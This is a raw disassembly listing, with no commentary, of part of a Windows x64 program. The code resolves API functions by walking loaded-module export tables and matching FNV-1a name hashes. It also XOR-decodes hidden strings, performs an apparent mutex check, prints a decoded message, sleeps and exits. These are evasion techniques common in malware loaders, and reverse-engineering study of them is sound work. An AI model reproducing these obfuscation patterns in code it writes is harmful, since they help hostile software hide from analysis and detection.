mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002d884
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002d884
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002d87f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002d860
cmp edx, 0x53b2070f
je 0x14002d889
test r9d, r9d
jne 0x14002d840
mov rax, qword [rax]
jmp 0x14002d810
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rcx, 0x488ab2fb457ff5bd
mov qword [rsp + 0x40], rcx
movabs rdi, 0x1c21e2c894c6eaa4
mov qword [rsp + 0x48], rdi
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002d974
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002d974
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002d96f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002d950
cmp edx, 0x53b2070f
je 0x14002d979
test r9d, r9d
jne 0x14002d930
mov rax, qword [rax]
jmp 0x14002d900
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rcx, 0x488ab2fb6828f5bf
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdi
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002da54
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002da54
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002da4f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002da30
cmp edx, 0x53b2070f
je 0x14002da59
test r9d, r9d
jne 0x14002da10
mov rax, qword [rax]
jmp 0x14002d9e0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rcx, 0x1e97e9b8566ce2a9
mov qword [rsp + 0x40], rcx
movabs rcx, 0x1c21e2c8f8aae2e6
mov qword [rsp + 0x48], rcx
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002db46
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002db46
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14002db41
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14002db20
cmp r8d, 0xf407fac3
je 0x14002db4b
test r9d, r9d
jne 0x14002db00
mov rax, qword [rax]
jmp 0x14002dad0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rdi, 0x68e5d380625cc282
mov qword [rsp + 0x70], rdi
movabs r15, 0x5878b189d38ec091
mov qword [rsp + 0x78], r15
movabs r12, 0xdb024d8c13f7ce8e
mov qword [rbp - 0x80], r12
movabs r13, 0x8ce66a810484c380
mov qword [rbp - 0x78], r13
movabs rcx, 0x8ed358c87caac381
mov qword [rbp - 0x70], rcx
movabs rdx, 0xcefadac86d1686c8
mov qword [rbp - 0x68], rdx
movabs rcx, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], rcx
movabs rcx, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], rcx
movabs rcx, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rcx
movabs rcx, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rcx
movabs rcx, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b8], rdx
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rsp + 0x70]
xor edx, edx
mov ecx, 0x1f0001
call rax
test rax, rax
jne 0x14002dfe0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002dcf4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002dcf4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002dcef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002dcd0
cmp edx, 0x3b6ed297
je 0x14002dcf9
test r9d, r9d
jne 0x14002dcb0
mov rax, qword [rax]
jmp 0x14002dc80
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r13
movabs rcx, 0x8ed358c87caac381
mov qword [rbp - 0x70], rcx
movabs rdx, 0xcefadac86d1686c8
mov qword [rbp - 0x68], rdx
movabs rcx, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], rcx
movabs rcx, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], rcx
movabs rcx, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rcx
movabs rcx, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rcx
movabs rcx, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b8], rdx
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rsp + 0x70]
xor edx, edx
xor ecx, ecx
call rax
cmp dword [rbp + 0x34], 0
je 0x14002df5c
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.14001a440
mov r9, rax
cmp byte [rax + 0x10], 0
je 0x14002df3d
cmp r14d, 2
jl 0x14002df0b
movdqa xmmword [rsp + 0x30], xmm11
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x14002de21
cmp eax, 0x11
jge 0x14002df3d
movsxd r8, esi
add r8, r9
mov eax, 0x94f2095
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x11
jl 0x14002df11
mov rdx, r9
mov rcx, r10
call fcn.140018150
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140028db0
nop
lea rcx, [rbp - 0x10]
call fcn.140009cd0
nop
lea rcx, [rbp + 0x60]
call fcn.140009cd0
nop
lea rcx, [rbp + 0x10]
call fcn.140009cd0
nop
cmp dword [rbp + 0x48], 0
jne 0x14002e004
cmp dword [rbp + 0x58], 0
jne 0x14002e015
xor eax, eax
mov rcx, qword [rbp + 0x4a30]
xor rcx, rsp
call fcn.14007cbc0
lea r11, [rsp + 0x4ba0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp - 0x10]
call fcn.140009cd0
nop
lea rcx, [rbp + 0x60]
call fcn.140009cd0
nop
lea rcx, [rbp + 0x10]
call fcn.140009cd0
nop
cmp dword [rbp + 0x48], 0
je 0x14002e00b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x58], 0
je 0x14002df90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3